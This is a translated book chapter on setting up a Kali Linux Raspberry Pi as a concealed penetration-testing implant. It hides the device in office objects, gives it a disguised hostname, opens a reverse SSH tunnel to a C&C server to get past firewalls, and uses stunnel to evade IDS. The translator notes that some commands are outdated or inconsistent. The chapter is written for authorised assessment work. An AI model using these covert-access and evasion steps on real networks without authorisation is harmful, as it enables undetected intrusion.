第2章 树莓派预备步骤

在用于安全评估时,树莓派的运算能力有限。因为它的设计初衷仅是1台低功耗的便携计算机,目标人群是教育界和计算机爱好者们。这个开放平台的运算能力虽然有限,但它也有很多强大的使用场景,比如安全专业人士可以将它用于渗透测试和其他服务。本章的重点是使用Kali Linux(或其他操作系统)的树莓派,还需要再做哪些步骤,才能开始实施渗透测试。

本章讲解了以下内容:

安全专家们常常会使用树莓派来收集分散在各地机构里诸多远程站点的信息。

在异常分散的机构里,常用树莓派来收集远程机器的信息。当然在这种情况下很多人也会使用专门的商业工具做漏洞评估;然而如果预算有限或出于厂商的合作要求,就没法采取这种方式了。比如本书作者参与过的一个安全评估项目,就涵盖全球各地的办公场所。这个项目里,出差到每个场地去做本地渗透测试颇不现实。为解决这个问题,我们将配置好Kali Linux的树莓派发到各地办公室,远程评估和测试各地网络的安全性,开销就可接受多了。在本章最后会再举例详加说明。

树莓派另一个有价值的地方是安全专家有时需要将设备长时间地留在现场。在上一个例子里,给每个办公地点寄一套昂贵的高端设备显然性价比就很低了。比起其他更大型更强劲的系统,树莓派由于外型娇小,作为移动设备所需供电也较有限,偷偷潜藏起来也更有优势。比如,将树莓派藏在一个打印机的电源变压器里 [1] ,人们一般认不出这是什么,也不会刻意去破坏一个搞不清楚用途的小黑盒子,对比看如果换成在公司某处不显眼的位置摆上一台手提电脑会怎样。在黑盒测试里,如果有机会把树莓派藏在公司的某些设备如挂钟、灯具和打印机里会非常管用。在本章中,讨论如何从中心化的管理节点出发,通过一个到多个树莓派渗透进远程网络,使这个概念更有效可行。

图2-1为藏在喵星人造型挂钟里的树莓派。

index-45_1

图2-1

如之前所说,树莓派不是一台强劲的机器。要克服这个弱点,在使用树莓派版Kali时,捕获数据的方式最好是可控的,并且尽量以离线的方式处理运算任务。如果不这样,很多攻击工具都会使树莓派的处理器忙不胜忙,又或在查看捕获的数据时,把有限的本地存储空间都给占满了。这个内容在3.6节会详细介绍。

如果需要远程访问多个树莓派系统,建议设置一台中心C&C主控服务器(Command & Control)而不是独立地去访问各个小盒子。C&C服务器应该是一台更高效的系统如传统服务器,由它专注处理需要大量CPU运算的任务,如通过暴力枚举破解密码。更重要的是,可以使用C&C服务器直接执行分析和攻击任务,而不需要全在树莓派本地执行。例如,网络钓鱼攻击,可以将树莓派上的流量都转发给C&C服务器,由它进行分析和漏洞破解。

在第1章中讲过,Kali Linux的ARM映像文件已经为树莓派做过优化,但仍然建议额外地执行以下步骤,以确保在最稳定的状态下使用Kali Linux,尽量不要把树莓派搞垮。步骤如下。

1.建议首先按照第1章里描述的步骤,升级操作系统。如果还从未升级过系统,请翻回第1章,按步骤执行升级,这里就不再重复具体的步骤了。

2.下一步是正确命名树莓派。Kali Linux映像里的主机名是一个默认的通用名称。要修改这个主机名,可以使用vi编辑器(当然随意选择一种编辑器也没关系;即使读者爱用nano,我也完全不会鄙视你的),执行vi /etc/hostname命令,如图2-2所示。

index-46_1

图2-2

这个文件里唯一的内容就是主机名。图2-3是我的例子,正把原来的主机名Kali改为RaspberryPi。

index-47_1

图2-3

3.另外,还要修改/etc/hosts文件里的主机名列表,也可以使用vi编辑器完成。需要正确设置在这个列表文件里的主机名。图2-4所示为我正把默认的主机名从Kali改为RaspberryPi。

index-47_2

图2-4

4.编辑文件后要执行保存。保存文件后,再重启系统。你会发现主机名改变了,显示在命令行提示符处的已是新的主机名。

技巧.tif

起个看起来很平淡的主机名,如“HP Jetdirect”,能更容易地混入网络中,对黑盒测试环境来说是一大好处。

树莓派可以通过超频提高性能。这么做的风险是有可能大大地缩减硬件的寿命。超频会导致树莓派消耗更多的电源,所以如果电源输出较弱,超频可能会有问题。在树莓派上超频可能会导致microSD卡损坏和操作系统故障。

提示.tif

除非能接受系统永久性受损的后果,否则不要超频。

要给树莓派超频,可以使用raspi-config程序来进行高级硬件调整。可惜的是,Kali Linux映像里默认并没有包含这个应用,需要做一些额外的设置。但也不用太担心,这些步骤很容易。具体如下。

1.在树莓派命令行下,输入下述命令:


wget http://www.drchaos.com/wp-content/uploads/2014/09/raspberry_pi_ overclock_ files.zip




技巧.tif

也可以使用官方链接下载所需的文件:

图2-5显示了执行这条下载命令时的状态。

index-48_1

图2-5

2.使用unzip命令把文件解压出来,如图2-6所示。

index-48_2

图2-6

3.然后进入解压出来的目录,会看到如图2-7所示的若干文件。

index-48_3

图2-7

4.在终端窗口输入如下命令 [3]


dpkg -i triggerhappy_0.3.4-2_armel.deb


dpkg -i lua5.1_5.1.5-4_armel.deb


dpkg -i raspi-config_20121028_all.deb




安装以上文件后,就可以启用raspi-config程序了。这个应用可以控制树莓派的某些硬件特性。但早前也警告过,除非明确了解所改配置的具体含义,否则不要乱改默认值。

通常,树莓派Model B+ 运行在1000MHz上没什么问题。但个体差异会导致性能也会不同,所以超频仍有可能给树莓派带来永久性的损害。同时超频也会使原本的保修条款无效。

图2-8展示了raspi-config命令的菜单项。

index-49_1

图2-8

设定的参数如下 [4]

修改了硬件设置后,可以从命令行输入dmesg命令,观察是否有报错日志。曾有很多人把GPU速率设置为500 MHz都没问题;但我的树莓派这么设置并运行了几天后,就看到系统里不断地报错,只好把速率再降回400 MHz,就完全没问题了。

为树莓派准备的Wi-Fi无线网卡不但要适合树莓派,还得在Kali Linux下也能正常工作才行。幸运的是,绝大多数的Wi-Fi无线网卡都可以同时在树莓派和Kali Linux下使用。在本书中,使用的是CanaKit USB Wi-Fi网卡,如图2-9所示。

index-50_1

图2-9

CanaKit公司出品的广受欢迎的树莓派套装中就包括这款Wi-Fi网卡。当然也可以单独购买。如果需要单独购买Wi-Fi网卡,请确保它支持Debian Linux。

技巧.tif

以下网址包含详实的树莓派兼容网卡信息,可供参考:http://elinux.org/RPi_USB_Wi-Fi_Adapters

接好Wi-Fi网卡后,先确认系统是否能正常工作。方法是在终端窗口输入iwconfig命令,如图2-10所示。

index-51_1

图2-10

看到的wlan0接口就是新的无线接口。下一步就是启用这个接口。可以执行ifconfig wlan0 up命令,如图2-11所示。

index-51_2

图2-11

这时候无线接口应该就启用了,可以开始扫描无线网络。需要再来测试一下无线网卡以确保工作正常,同时也评估一下当前区域的无线环境。输入iwlist wlan0 scanning命令,如图2-12所示。

index-51_3

图2-12

技巧.tif

很重要的一点,扫描出来的绝大多数无线网络是2.4 GHz频段的。因为绝大多数无线网卡是2.4 GHz 802.11 b/g制式的。根据需求可以更换不同型号的网卡。

执行iwlist wlan0 scanning命令会显示当前区域内找到的AP接入点的SSID和MAC地址等信息。图2-13是扫描一个无线实验室网络的截屏,这个AP的MAC地址是0E:18:1A:36:D6:22,同时也能看到这个AP使用的传输频道是36。

index-52_1

图2-13

这样就设置好树莓派的Kali Linux的无线网络了。

要把远程访问做得神不知鬼不觉,还可以在Kali Linux里通过3G USB上网卡,将树莓派接入手机蜂窝网络。各款上网卡会略有不同,所以各家3G卡类型和服务商的设置方式也会略有差异。推荐使用MiFi(Mobile Wi-Fi的缩写,也叫随身Wi-Fi)做热点,这样Kali Linux就能用Wi-Fi网卡接入网络了;当然,如果确实要用3G USB上网卡,请确保它能在Debian环境下工作。

在以下例子中,使用的是华为3G USB上网卡。这款3G USB上网卡可以在全球绝大多数频道下使用。

以下是设置这款3G上网卡的步骤。

1.打开终端窗口,输入以下命令:


wget http://www.ziddu.com/download/22764375/3gusbmodem. zip.html




2.输入unzip命令解压该文件。

3.切换到解压出来的目录下。

4.使解压出来的文件变得可执行,输入chmod +x 3gusbm*。

5.输入./3gusbmodem --interactive运行脚本。

6.脚本运行需要几分钟,请耐心等待。中间出现提示时,请选择Kernel模块。

技巧.tif

然后需要选择自己的接入点名称(Access Point Name,APN)在对应的手机运营商里。可能还需要知道用户名和密码,才能登录移动运营商的APN。

上述步骤完成后选择OK按钮,很快就可以成功连上3G网络了 [5]

Secure Shell(SSH)可以做到身处远程,也能完整地操作树莓派上的Kali Linux。命令行是管理Linux的最常用方式。由于大部分的渗透测试并不需要用到图形界面的Kali Linux,建议尽量使用SSH或其他命令行工具。部分Kali Linux默认就启用了SSH服务,但有部分还需要手工安装OpenSSH服务。

首先需要确认SSH服务是否已经安装。输入以下命令service --status- all检查SSH服务是否在运行。如果像图2-14所示的那样看到ssh前面有个+加号,则一切就绪。如果看到的是-减号,则需要手工安装OpenSSH服务。

index-54_1

图2-14

要安装OpenSSH服务,打开命令行终端,输入apt-get install openssh-server安装SSH服务。启动SSH服务,输入service ssh start命令,如图2-15所示。

index-54_2

图2-15

启动SSH服务后,就需要将SSH服务加到系统自启动中,保证重启后服务自动运行。首先,执行update-rc.d -f ssh remove命令去除SSH在相关运行级别里的设置,具体见图2-16。

index-54_3

图2-16

然后执行update-rc.d -f ssh defaults命令,加载SSH的默认设置,如图2-17所示。

index-54_4

图2-17

这样,SSH自启动在Kali Linux系统下就设置好了,以后会保持自启动。也就可以随时重启系统,而无需额外配置就能运行SSH了。

此时树莓派就可以通过SSH做远程管理了,这挺不错的。但是,如果有另一套也是默认安装出来的OpenSSH,就非常容易获得对应的私钥。修改私钥这一步是可选步骤,但最好改掉。毕竟,如果自己的渗透测试机器反而被人黑了,还是会感到颜面扫地的。

下面就是Kali Linux系统创建新的SSH私钥的过程。

提示.tif

确保是直接用键盘在Console控制台下执行以下步骤的。不要在现有SSH会话里执行这些步骤。

1.在终端或命令行里,将默认的SSH私钥文件移到备份目录。


cd /etc/ssh/


mkdir default_kali_keys


mv ssh_host_* default_kali_keys/




2.执行以下命令生成新的私钥文件,观察屏幕上的提示信息。


dpkg-reconfigure openssh-server


Creating SSH2 RSA key; this may take some time ...


Creating SSH2 DSA key; this may take some time ...


Creating SSH2 ECDSA key; this may take some time ...


[ ok ] Restarting OpenBSD Secure Shell server: sshd.




图2-18显示了这个过程。

index-55_1

图2-18

最后一步是执行命令service ssh restart重启Kali Linux上的SSH服务。

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。

..\16-1547 图\2-18.tif

图2-19

在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。

提示.tif

许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。

使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口 [6]

R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。

提示.tif

某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。

本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里,输入以下命令:


ssh -fN -R 7000:localhost:22  C&C

服务器端用户名@C&C

服务器IP

地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133




上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。

..\16-1547 图\2-19.tif

图2-20

所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:


ssh -fN -R 443:localhost:22 root@192.168.162.133




在C&C服务器端,打开命令行终端,输入以下命令:


ssh root@localhost -p 443




根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。

..\16-1547 改图\2-20.tif

图2-21

提示.tif

要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。

这项技术叫反向shell tunneling(命令行通道)。可以选择任意源端口,如53端口,这通常是DNS服务的端口;或者80,这通常是HTTP服务的端口。但请记住,修改端口号并不意味着底层对应的协议也跟着变了。

很多管理员都会部署网络检测技术,如IDS/IPS来发现和阻止VPN连接。要绕过这种检测,其中一个办法是使用加密通道(简称stunnel)技术。stunnel会把客户端和服务器端两边的通信用SSL再封装一次。它使用工业标准的加密库如OpenSSL等,对远程客户端和服务器的通信进行SSL加密。Stunnel的好处在于,它为各种常规网络服务如POP2、POP3和IMAP提供了SSL功能但却不需要改动具体程序的代码。

要使用stunnel,首先需要使用命令apt-get install stunnel4 -y获得代码,如图2-22所示。

index-59_1

图2-22

系统可能会提示说已经安装好最新版本的stunnel程序了。

接下来需要在/etc/stunnel/目录下新建一个名为stunnel.conf的配置文件。可以用自己习惯的文本编辑器nano或vi来修改这个文件。

将以下配置加进stunnel.conf文件里。可以自行修改其使用的端口,以更符合自己的需求。


client = no


[squid]


accept = 8888


connect = 127.0.0.1:3128


cert = /etc/stunnel/stunnel.pem




图2-23展示了stunnel.conf文件中的配置。

index-59_2

图2-23

下一步是执行以下命令生成私钥:


cd /etc/stunnel/


openssl genrsa -out key.pem 2048


openssl req -new -x509 -key key.pem -out cert.pem -days 1095


cat key.pem cert.pem >> /etc/stunnel/stunnel.pem


sudo bash


cat server.key > server.pem && cat server.crt >> server.pem


chmod 400 /etc/stunnel/server.pem


[7]






证书生成好后,再执行编辑命令sudo nano /etc/default/ stunnel4,进一步配置stunnel。

命令会打开相应的配置文件。将其中的Enabled = 0 [8] 改为Enabled = 1。然后再执行sudo nano /etc/stunnel/stunnel.conf命令,打开stunnel.conf文件,并把以下配置添加到文件里 [9]


sslVersion = all


options = NO_SSLv2


cert = /etc/stunnel/stunnel.pem


[10]




pid = /var/run/stunnel.pid


output = /var/log/stunnel


[openvpn]


client = no


accept = 993


connect = 34567




再执行以下命令创建firewall.sh文件,用于设置树莓派的防火墙策略:


sudo nano /usr/local/bin/firewall.sh




其内容为:


#!/bin/sh


iptables -A INPUT -p tcp --dport 993 -j ACCEPT
[11]








下一步是执行以下命令重启stunnel服务:


/etc/init.d/stunnel4 restart




最后一步是在Kali Linux树莓派上安装Squid代理服务器,执行命令:apt-get install squid3 -y [12]

现在再来安装Stunnel客户端。可以在https://www.stunnel.org/downloads.html 页面里下载Windows版Stunnel客户端程序。

图2-24就是Stunnel客户端的安装程序图标。

index-61_1

图2-24

安装完成后,打开Windows里stunnel的安装目录,通常位于:C:\Program Files\stunnel。

将Kali上创建的stunnel.pem证书文件原样复制到Windows客户端的同一个目录下。

然后打开stunnel.conf配置文件,替换原内容为(如果使用的端口和例子里的不一样,请相应地调整自己的端口设置):


cert = stunnel.pem


client = yes


[squid]


accept = 127.0.0.1:8080


connect = 

[服务器端的公网IP]:8888




保存并关闭这个文件。然后运行stunnel.exe程序,会看到配置页面显示如图2-25所示。

index-61_2{}

图2-25

然后就可以根据配置文件里accept设置的IP和端口,安全地连上树莓派了,具体见图2-26。

index-62_1

图2-26

回到本章开头的那个例子,复习一下在真实世界里是怎样运用本章的内容。回顾以下场景,我们的客户在全球不同地点都有办公地址,需要对每个地方进行渗透测试,但报价要适宜。为达成这个挑战,需要给每个地点组装好一套运行Kali Linux的树莓派,价值在100美金以内。我们给每个办公地点寄一套树莓派过去,由当地的人将树莓派接入本地网络。连接的方式和用到的工具会在下一章里讲到。

各地办公场所的人并不清楚我们要做什么,因此需要自己想办法突破已有的安全机制,如禁止外连的防火墙。要做到这点,我们利用邮件端口设置stunnel加密通道,在远端用一台运行Kali Linux的MacBook来连接各地的树莓派。这样就有一个主控的点,可以控制每台树莓派,并由这台机器分担大运算量的任务。这时候,就可以身处美国办公室,在各个树莓派上发起攻击了。

这种远程部署的方式,比起跑到每个办事处,然后按白天和夜晚计费,在初始预算上就大大降低了。客户们会很愿意为每个地点掏几百美金,支付这点硬件费用,因为大大节省了搭建环境和差旅的时间。在硬件开销之外,我们只需要收取渗透服务的费用,所以整个项目的费用很合理,结果也很成功。

在本章中,我们学习了在渗透测试环境里,如何在树莓派上定制和运行Kali Linux。内容还包括性能调优,以及如何尽量使用命令行方式,少用GUI图形工具的最佳实践。

本章还花了比较大的篇幅介绍如何设置处于远程的C&C服务器,以减轻树莓派上处理的任务和导出树莓派上的数据(第3章会介绍如何导出数据)。这部分涉及如何在树莓派和C&C服务器之间建立通信。连接的方式包括SSH、HTTPS和其他形式的通道。另外还讨论了当树莓派位于防火墙后面时,如何通过反向shell通道连回C&C服务器,进行远程管理的方法。

在本章之后,就可以开始进行渗透测试了。在下一章,将通过树莓派上的Kali Linux进行渗透测试的练习。


[1]  译者注:原文是hidden in a printer power cable,颇令人费解,一根cable要怎么藏一个树莓派啊!酌情译为“变压器”。

[2]  译者注:以上这些文件现已不存在或已不适用于主流的树莓派系统。

[3]  译者注:以上步骤实际上已完全不适用于当下主流的树莓派2及3版本,建议换以下地址下载所需的安装文件:
http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-8_armhf.deb
http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2+b1_armhf.deb
http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20160225_all.deb
http://http.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.28-1_armhf.deb
再执行类似dpkg -i raspi-config_20160225_all.deb等命令安装以上软件包。

[4]  译者注:现在的树莓派里已经没有这样的设置了,直接选择overclock再选择里面更高频的配置组合即可。

[5]  译者注:实际上本节安装步骤已无参考意义,只要输入以下命令即可:

apt-get install ppp
apt-get install sakis3g


[6]  译者注:原文是ssh -R [bind_address:]port:host:hostport,但这行命令的写法并不完整,请以下文举例为准。

[7]  译者注:这一节最后三句命令貌似无用。上面创建stunnel.pem的步骤已经完整了。这里的server.pem感觉跟前后文无关。

[8]  译者注:这里在实际环境中应为Enabled,但作者似误为enable,酌情修改。

[9]  译者注:这一段酌情调整。

[10]  译者注:这里原文是server.pem,但和上面生成证书的步骤对不上。酌情改回stunnel.pem。

[11]  译者注:这段略作调整,iptables应该全小写,shell文件前面应该有#!那句(当然我猜作者认为大家都知道这点了),dport前面是两个-横线,不是一个。另外少了执行./firewall.sh脚本的步骤。

[12]  译者注:这一段似游离于上下文,后续并没有再写squid的用法和配置。